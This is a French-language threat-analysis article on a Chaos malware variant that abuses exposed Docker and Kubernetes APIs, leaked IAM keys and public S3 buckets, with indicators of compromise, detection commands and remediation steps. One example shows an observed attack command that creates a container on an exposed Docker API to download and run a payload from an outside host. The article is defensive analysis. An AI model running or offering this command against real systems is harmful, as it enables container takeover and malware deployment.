Nouvelle variante Chaos cible les déploiements cloud mal configurés
Analyse technique
Vecteurs d'intrusion observés
Le malware connu sous le nom de Chaos cible des interfaces de gestion cloud et container mal configurées. Des API Docker exposées sur le port 2375 ou des API Kubernetes accessibles sans authentification restent des vecteurs faciles à exploiter. Un simple appel HTTP peut suffire pour lancer un conteneur distant et y déposer un payload. J'ai rencontré des environnements où des conteneurs étaient créés et exécutés sans aucune authentification préalable, ce qui a permis à des opérateurs malveillants de déployer leur binaire en quelques secondes.
Les clés IAM fuitées dans des dépôts publics ou stockées en clair dans des variables d'environnement facilitent l'élévation de privilèges et le mouvement latéral. Des buckets S3 configurés en lecture publique servent parfois de point de stockage pour des payloads ou de relais pour des logs exfiltrés. Dans mon travail de routine, les scans d'images conteneur révèlent encore trop souvent des secrets intégrés ou des sockets d'administration exposés.
Mécanismes du nouveau variant
Le binaire principal de Chaos est multiplateforme et s'exécute aussi bien sur VM que dans des conteneurs. Il chiffre les communications vers son infrastructure de commande et contrôle pour se rendre moins détectable. Une fonctionnalité notable est l'activation d'un proxy SOCKS qui écoute par défaut sur le port 1080; cette capacité autorise l'acheminement de trafic TCP et DNS via des tunnels chiffrés, rendant la traçabilité beaucoup plus difficile. Ces observations sont en ligne avec les rapports publics sur le comportement du variant ¹ ².
Pour la persistance, le malware utilise plusieurs méthodes adaptées à l'environnement cible: création de conteneurs de service, injection de jobs cron sur des nœuds Linux, et emploi de fonctions planifiées dans des architectures serverless. Ces mécanismes compliquent la remédiation car ils survivent souvent à un simple redémarrage.
Comportements réseau et indicators of compromise (IoC)
Plusieurs indicateurs réseau reviennent lors des investigations:
- ports atypiques ouverts sur des instances cloud, comme 1080 ou 9050, non documentés dans l'inventaire réseau;
- pics d'appels API de gestion en dehors des fenêtres normales d'exploitation;
- connexions sortantes persistantes vers IPs ou domaines inconnus et transferts d'upload anormaux en volume;
- processus enfants lancés par le runtime Docker (dockerd) exécutant des outils de téléchargement tels que curl ou wget immédiatement avant une exécution en mémoire.
Au niveau des logs, recherchez des événements d'API CreateContainer/CreateAccessKey, des modifications de policies IAM, et des écritures récentes dans des buckets avec ACL publiques. Les outils NDR/IDS détecteront aussi des patterns SOCKS si des signatures adaptées sont en place.
Exemples concrets d'attaques
Lors d'un incident récent, une API Docker exposée a été exploitée pour créer un conteneur qui téléchargeait et exécutait un payload. La séquence observée ressemblait à:
``bashcurl -sS -XPOST http://:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["sh","-c","wget http://malware.storage/payload -O /tmp/p; chmod +x /tmp/p; /tmp/p"]}'`
Le conteneur a ensuite été démarré, donnant à l'attaquant un accès initial. Après compromission, l'activation d'un proxy SOCKS a servi à masquer l'origine des requêtes et à orchestrer des scans ou d'autres attaques via ce pivot.
Détection technique recommandée
Actions immédiates à intégrer dans vos playbooks de détection:
inventorier et alerter sur tout processus écoutant sur des ports SOCKS courants (1080, 9050);auditer les appels API sensibles via CloudTrail, Azure Activity Log ou équivalents pour repérer CreateAccessKey, CreateRole, CreateContainer et autres actions inhabituelles;surveiller l'utilisation de curl, wget ou équivalents dans des conteneurs et lances des règles runtime pour bloquer les downloads non signés;mettre en place des signatures Suricata/Snort pour identifier les négociations SOCKS et le trafic chiffré sortant anormal;vérifier régulièrement les ACL des buckets et automatiser des alertes sur toute permission publique.
Exemples de commandes utiles dans un audit:
`bash
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey | jq '.'
aws s3api get-bucket-acl --bucket
curl -k https://:6443/version
``
Ces vérifications ne remplacent pas une surveillance continue mais elles aident à établir rapidement si une exposition existentielle a eu lieu.
Impacts business
Risques opérationnels et financiers
La compromission d'un déploiement cloud peut entraîner des conséquences financières immédiates: ressources consommées sans contrôle, volumes de données exfiltrés, coûts de forensic et de restauration. Dans un cas documenté, la fuite de 10 To de données clients et les coûts associés ont dépassé 1 million d'euros, en comptant forensic, notifications et pertes de revenus pendant la reprise ³. Chaque minute dans une réponse à incident pèse sur la facture et sur la capacité opérationnelle.
La confidentialité des données est un autre risque majeur. L'exfiltration de données sensibles expose à des sanctions réglementaires et à une perte de confiance clients. L'utilisation d'un proxy SOCKS comme moyen de pivot rend la reconstitution des mouvements d'attaque plus difficile pour les équipes de réponse.
Risque de réputation et conformité

Une fuite de données, surtout impliquant des clients, a un effet multiplicateur sur la réputation. Les obligations de notification (par exemple RGPD) s'ajoutent aux coûts directs et indirects. Les contrôles déficients dans la gestion des accès et des configurations sont des facteurs aggravants qui attirent l'attention des régulateurs.
Scénarios chiffrés et facturation malveillante
Outre le coût de la fuite de données, la facturation abusive due à l'abus de ressources cloud peut rapidement grimper si des instances ou services sont provisionnés par un acteur malveillant. Une détection tardive laisse courir ces charges pendant des jours, voire des semaines.
Recommandations
Mesures immédiates (24-72 heures)
- Inventaire et blocage: identifier et restreindre l'accès aux API de gestion via ACL, Security Groups et politiques IAM.
- Rotation des clés: révoquer et régénérer les clés suspectes; activer MFA pour les comptes à privilèges.
- Isolation: isoler les ressources compromises, prendre des snapshots pour forensic, et appliquer des règles de firewall pour bloquer les ports SOCKS identifiés.
- Revue des buckets: corriger les permissions publiques et surveiller toute nouvelle exposition.
Mesures intermédiaires (1-4 semaines)
- Déployer une solution CSPM pour détecter et corriger automatiquement les configurations non conformes.
- Scanner systématiquement les images pour vulnérabilités et secrets; appliquer des politiques d'admission sur Kubernetes pour n'autoriser que des images signées.
- Appliquer le principe du moindre privilège et privilégier les rôles temporaires et les credentials short-lived.
- Mettre en place de l'egress filtering pour limiter les sorties réseau et journaliser les flux.
Mesures avancées
- Micro-segmentation pour réduire le mouvement latéral entre environnements critiques.
- Détection comportementale et analytics pour identifier les schémas inhabituels dans les accès et la télémétrie runtime.
- Formaliser et tester des playbooks d'incident spécifiques aux compromis cloud et container.